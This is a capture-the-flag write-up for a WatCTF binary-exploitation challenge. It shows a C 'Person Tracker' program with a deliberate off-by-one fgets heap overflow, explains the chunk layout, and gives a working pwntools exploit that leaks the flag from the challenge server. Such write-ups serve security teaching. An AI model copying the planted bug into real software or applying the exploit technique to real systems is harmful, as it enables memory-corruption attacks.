Written by virchau13
I forget people's names all the time, so I made a tool to make it easier
nc challs.watctf.org 5151
Attachment:
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#ifdef FLAGVAR
// In the server-side binary, `FLAGVAR` is set to the flag
const volatile char * const FLAG = FLAGVAR;
#else
const volatile char * const FLAG = "fakectf{not the real flag}";
#endif
typedef struct Person {
uint64_t age;
char name[24];
struct Person *next;
} Person;
Person *root = NULL;
uint64_t person_count = 0;
Person *person_at_index(int idx) {
Person *res = root;
while (idx > 0) {
res = res->next;
idx--;
}
return res;
}
int main() {
puts("Welcome to the Person Tracker!");
while(1) {
puts("MENU CHOICES:");
puts("1. Add a new person");
puts("2. View a person's information");
puts("3. Update a person's information");
printf("Enter your choice: ");
fflush(stdout);
int choice;
if (scanf("%d", &choice) != 1) {
printf("Invalid input. Please enter a number.\n");
while (getchar() != '\n');
continue;
}
getchar();
if (choice == 1) {
Person *new = malloc(sizeof(Person));
new->next = root;
root = new;
person_count++;
printf("Enter their age: ");
fflush(stdout);
scanf("%lu", &new->age);
getchar();
printf("Enter their name: ");
fflush(stdout);
fgets(new->name, sizeof(new->name) + 1, stdin); // +1 for null byte
puts("New person prepended!");
} else if (choice == 2) {
printf("Specify the index of the person: ");
fflush(stdout);
int idx;
scanf("%d", &idx);
getchar();
if (idx < 0 || idx >= person_count) {
puts("Invalid index!");
continue;
}
Person *p = person_at_index(idx);
puts("What information do you want to view?");
puts("1. Their age");
puts("2. Their name");
printf("Enter choice: ");
fflush(stdout);
int choice2;
scanf("%d", &choice2);
getchar();
if (choice2 == 1) {
printf("Their age is %lu\n", p->age);
} else if (choice2 == 2) {
printf("Their name is %s\n", p->name);
}
} else if (choice == 3) {
printf("Specify the index of the person: ");
fflush(stdout);
int idx;
scanf("%d", &idx);
getchar();
if (idx < 0 || idx >= person_count) {
puts("Invalid index!");
continue;
}
Person *p = person_at_index(idx);
puts("What information do you want to modify?");
puts("1. Their age");
puts("2. Their name");
printf("Enter choice: ");
fflush(stdout);
int choice2;
scanf("%d", &choice2);
getchar();
if (choice2 == 1) {
printf("Enter their age: ");
fflush(stdout);
scanf("%lu", &p->age);
getchar();
} else if (choice2 == 2) {
printf("Enter the new name: ");
fflush(stdout);
fgets(p->name, sizeof(p->name) + 1, stdin); // +1 for null byte
}
puts("Updated successfully!");
}
}
}
There is a out of bounds write in:
fgets(new->name, sizeof(new->name) + 1, stdin); // +1 for null byte
It will override the lowest byte of next
to zero in:
typedef struct Person {
uint64_t age;
char name[24];
struct Person *next;
} Person;
If we consider the malloc chunk layout:
-0x08: chunk header
0x00: age
0x08: name
0x10: &name[8]
0x18: &name[16]
0x20: next
We can put the address of flag 0x49b21e
obtained by Binary Ninja to &name[8]
. Then, if someday next
overlaps with &name[8]
, we can read the flag out.
This is probabilistic, so we put some dummy data on the heap. When we see the next->age
overlaps with age
or &name[8]
, we know the condition is not satisfied. Otherwise, if next->age
overlaps with next
:
first chunk:
-0x08: chunk header
0x00: age
0x08: name
0x10: &name[8]
0x18: &name[16]
0x20: next <- next points to here
second chunk:
0x28: chunk header
0x30: age
0x38: name
0x40: &name[8] <- next->next
0x48: &name[16]
0x50: next
We can read flag out via next->next->age
and next->next->name
:
from pwn import *
# context(log_level = "debug")
# p = process("./person")
p = remote("challs.watctf.org", 5151)
flag_addr = 0x49B21E
# chunk layout
# -0x08: chunk header
# 0x00: age
# 0x08: name
# 0x10: &name[8]
# 0x18: &name[16]
# 0x20: next
# put flag_addr at &name[8], so that maybe some
# (struct Person *)(addr & ~0xFF)->next = flag_addr
while True:
for i in range(5):
p.recvuntil(b"choice: ")
p.sendline(b"1")
p.recvuntil(b"age: ")
p.sendline(str(0xAAAAAAAAAAAAAAAA).encode())
p.recvuntil(b"name: ")
p.sendline(b"C" * 8 + p64(flag_addr))
p.recvuntil(b"choice: ")
p.sendline(b"1")
p.recvuntil(b"age: ")
p.sendline(str(0xAAAAAAAAAAAAAAAA).encode())
p.recvuntil(b"name: ")
p.sendline(b"C" * 8 + p64(flag_addr) + b"D" * 8)
p.recvuntil(b"choice: ")
p.sendline(b"2")
p.recvuntil(b"person: ")
p.sendline(b"1")
p.recvuntil(b"choice: ")
p.sendline(b"1")
result = p.recvline()
age = int(result.split()[-1])
if age != flag_addr and age != 0xAAAAAAAAAAAAAAAA: # filter
p.recvuntil(b"choice: ")
p.sendline(b"2")
p.recvuntil(b"person: ")
p.sendline(b"2")
p.recvuntil(b"choice: ")
p.sendline(b"1")
result = p.recvline()
age = int(result.split()[-1])
print(age.to_bytes(8, "little"))
p.recvuntil(b"choice: ")
p.sendline(b"2")
p.recvuntil(b"person: ")
p.sendline(b"2")
p.recvuntil(b"choice: ")
p.sendline(b"2")
name = p.recvline()
print(name)
break
Flag: watctf{one_byte_1s_4ll_y0u_n33d}
.